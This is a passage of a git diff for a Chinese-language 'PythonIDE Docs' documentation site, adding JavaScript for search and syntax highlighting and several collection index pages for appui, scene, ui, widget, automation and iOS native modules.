+= 18; + else if (section.includes(token)) score += 12; + else if (text.includes(token)) score += 6; + } + return { item, score }; + }) + .filter((entry) => entry.score > 0) + .sort((a, b) => b.score - a.score || a.item.title.localeCompare(b.item.title)) + .slice(0, 24) + .map((entry) => entry.item); + results.innerHTML = matches.map((item) => ` + + ${escapeHtml(item.title)} + ${escapeHtml(item.section)} · ${escapeHtml(item.subtitle || "")} + + `).join("") || '
    没有结果换一个 API、模块或关键词试试。
    '; + } + + function escapeHtml(value) { + return String(value) + .replaceAll("&", "&") + .replaceAll("<", "<") + .replaceAll(">", ">") + .replaceAll('"', """); + } + + function highlightCodeBlocks() { + document.querySelectorAll("pre code").forEach((code) => { + if (code.dataset.highlighted === "true") return; + code.innerHTML = highlightCode(code.textContent || ""); + code.dataset.highlighted = "true"; + }); + } + + function highlightCode(source) { + const keywords = new Set([ + "and", "as", "async", "await", "break", "case", "catch", "class", "const", + "continue", "def", "elif", "else", "except", "false", "False", "finally", + "for", "from", "function", "if", "import", "in", "is", "let", "nil", "None", + "not", "null", "or", "pass", "return", "switch", "throw", "true", "True", + "try", "var", "while", "with", "yield" + ]); + const tokenPattern = /(?:\"\"\"[\s\S]*?\"\"\"|'''[\s\S]*?'''|`(?:\\[\s\S]|[^`\\])*`|"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\/\*[\s\S]*?\*\/|\/\/[^\n]*|#[^\n]*|\.[A-Za-z_]\w*|\b\d+(?:\.\d+)?\b|\b[A-Za-z_]\w*\b)/g; + let html = ""; + let lastIndex = 0; + let match; + while ((match = tokenPattern.exec(source)) !== null) { + const token = match[0]; + const index = match.index; + html += escapeHtml(source.slice(lastIndex, index)); + html += renderToken(token, source, index, keywords); + lastIndex = index + token.length; + } + return html + escapeHtml(source.slice(lastIndex)); + } + + function renderToken(token, source, index, keywords) { + const escaped = escapeHtml(token); + if (token.startsWith("//") || token.startsWith("#") || token.startsWith("/*")) { + return `${escaped}`; + } + if (token.startsWith('"') || token.startsWith("'") || token.startsWith("`")) { + return `${escaped}`; + } + if (/^\d/.test(token)) { + return `${escaped}`; + } + if (token.startsWith(".")) { + return `.${escapeHtml(token.slice(1))}`; + } + if (keywords.has(token)) { + return `${escaped}`; + } + const after = source.slice(index + token.length).match(/^\s*/)?.[0] || ""; + if (source[index + token.length + after.length] === "(") { + return `${escaped}`; + } + return escaped; + } + + document.querySelector(".search-trigger")?.addEventListener("click", openSearch); + document.querySelector(".search-close")?.addEventListener("click", closeSearch); + panel?.addEventListener("click", (event) => { + if (event.target === panel) closeSearch(); + }); + input?.addEventListener("input", () => renderSearch(input.value)); + window.addEventListener("keydown", (event) => { + if ((event.metaKey || event.ctrlKey) && event.key.toLowerCase() === "k") { + event.preventDefault(); + openSearch(); + } else if (event.key === "Escape") { + closeSearch(); + } + }); +})(); diff --git a/docs/docs/collections/appui/index.html b/docs/docs/collections/appui/index.html new file mode 100644 index 0000000..dfbbcdb --- /dev/null +++ b/docs/docs/collections/appui/index.html @@ -0,0 +1,248 @@ + + + + + + appui - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    appui

    +

    声明式原生界面、状态、布局、导航、控件、API 参考与示例。

    +
    +

    开始

    先建立 appui 的基本写法和质量标准。

    指南

    按真实界面结构学习状态、布局、导航、交互和性能。

    API 参考

    按任务和组件查找公开 AppUI API。

    示例

    可预览、可点击、布局稳定的完整页面样板。

    速查

    颜色、系统图标和从 ui 迁移的对照表。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/collections/automation-extension/index.html b/docs/docs/collections/automation-extension/index.html new file mode 100644 index 0000000..0e3cc49 --- /dev/null +++ b/docs/docs/collections/automation-extension/index.html @@ -0,0 +1,248 @@ + + + + + + 自动化与扩展 - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    自动化与扩展

    +

    Shortcuts、Live Activity、键盘栏、JS API 和底层扩展能力。

    +
    +

    快速上手

    先看系统自动化和脚本运行时入口。

    模块

    系统扩展、自动化和底层运行时模块。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/collections/ios-native/index.html b/docs/docs/collections/ios-native/index.html new file mode 100644 index 0000000..c0f61d4 --- /dev/null +++ b/docs/docs/collections/ios-native/index.html @@ -0,0 +1,248 @@ + + + + + + iOS 原生模块 - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    iOS 原生模块

    +

    权限、存储、设备、传感器、媒体、网络和系统服务模块。

    +
    +

    快速上手

    先了解原生模块的范围、权限和总览。

    设备与传感器

    设备信息、定位、运动、触觉、生物认证和健康数据。

    媒体与视觉

    照片、音视频、语音、OCR 和 Vision 运行时。

    网络与数据

    HTTP、WebSocket、BLE 和后台任务。

    系统服务

    权限、持久化、钥匙串、剪贴板、弹窗、通知、联系人和日历。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/collections/scene/index.html b/docs/docs/collections/scene/index.html new file mode 100644 index 0000000..17076a6 --- /dev/null +++ b/docs/docs/collections/scene/index.html @@ -0,0 +1,248 @@ + + + + + + scene - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    scene

    +

    2D 场景、节点、动作、物理、触摸和 Classic 绘图。

    +
    +

    快速上手

    先看 scene 的运行模型和最小示例。

    API 参考

    按类族、生命周期、Action 和 Physics 查询 API。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/collections/ui/index.html b/docs/docs/collections/ui/index.html new file mode 100644 index 0000000..734a89e --- /dev/null +++ b/docs/docs/collections/ui/index.html @@ -0,0 +1,248 @@ + + + + + + ui - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    ui

    +

    Pythonista 风格原生 UI、手动布局、绘图和控件参考。

    +
    +

    快速上手

    先看 ui 的使用边界和最小示例。

    API 参考

    按类族和签名查询 ui API。

    实时能力

    实时快路径 实时系统和高频更新工具。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/collections/widget/index.html b/docs/docs/collections/widget/index.html new file mode 100644 index 0000000..6d6f048 --- /dev/null +++ b/docs/docs/collections/widget/index.html @@ -0,0 +1,248 @@ + + + + + + widget - PythonIDE Docs + + + + + + + +
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +
    +
    + +
    + +
    +
    + +

    widget

    +

    用 Python 编写原生主屏、锁屏和 StandBy 小组件。

    +
    +

    小组件

    从最小脚本到布局、参数、交互、时间线、外观和 API 参考。

    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/index.html b/docs/docs/index.html index 2734ef0..56ede01 100644 --- a/docs/docs/index.html +++ b/docs/docs/index.html @@ -3,454 +3,248 @@ - PythonIDE Docs - Mini App, Widget, Native, scene, ui - - - + PythonIDE 开发者文档 - PythonIDE Docs + + + + + - +
    - + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    +
    -
    -
    + + PythonIDE Docs + +
    + 中文 +
    + 简体中文 + +
    +
    + +